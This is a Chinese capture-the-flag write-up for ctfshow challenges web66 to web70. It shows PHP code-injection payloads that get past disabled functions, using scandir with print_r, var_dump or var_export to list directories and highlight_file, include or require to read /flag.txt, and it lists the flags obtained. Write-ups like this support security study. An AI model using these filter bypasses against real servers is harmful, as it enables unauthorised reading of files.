目录
1、web66
2、web67
3、web68
4、web69
5、web70
1、web66
show_source 被禁用
highlight_file 发现 flag 不在 flag.php 里面
先使用 scandir() 进行目录扫描:
c=print_r(scandir("./"));
当前目录下只有 index.php 和 flag.php
扫一下根目录:
c=print_r(scandir("/"));
发现存在 flag.txt
使用 highlight_file 读取:
c=highlight_file("/flag.txt");
拿到 flag:ctfshow{7aca1673-e850-4d01-915a-c8d487bf980d}
其中 print_r 也可以使用 var_dump
c=var_dump(scandir("/"));
2、web67
与上一题类似,不过这里 print_r 也被禁用了
我们使用 var_dump
c=var_dump(scandir("/"));
可以看到也存在 flag.txt
读取:
c=highlight_file("/flag.txt");
拿到 flag:ctfshow{e59fb332-a5c7-49f3-ad65-1d9d3b3f2a6e}
3、web68
highlight_file() 被禁用了
扫描根目录:
c=var_dump(scandir('/'));
存在 flag.txt
但是 show_source() 和 highlight_file 都被禁用了
对于 txt 文件,我们使用 include 进行包含就可以直接看到文件内容:
c=include("/flag.txt");
也可以使用 require:
c=require("/flag.txt");
拿到 flag:ctfshow{3a1bb694-ef48-414f-b215-93ab0e9fe501}
4、web69
var_dump 被禁用了
print_r 也被禁用了
使用 var_export 函数打印变量:
c=var_export(scandir('/'));
存在 flag.txt
读取使用上一题的 payload:
c=require("/flag.txt");
或者
c=include("/flag.txt");
拿到 flag:ctfshow{2f1a1cab-ff9b-46af-9631-cf4de82834ec}
5、web70
过滤的东西更多:
ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。
error_reporting() 函数设置当前脚本的错误报告级别,返回旧的错误报告级别。
对我们这里的影响不大
上一题 payload 可用:
c=var_export(scandir('/'));
c=include("/flag.txt");
拿到 flag:ctfshow{cfc20c7a-a43f-46a5-b09a-0952bfb58985}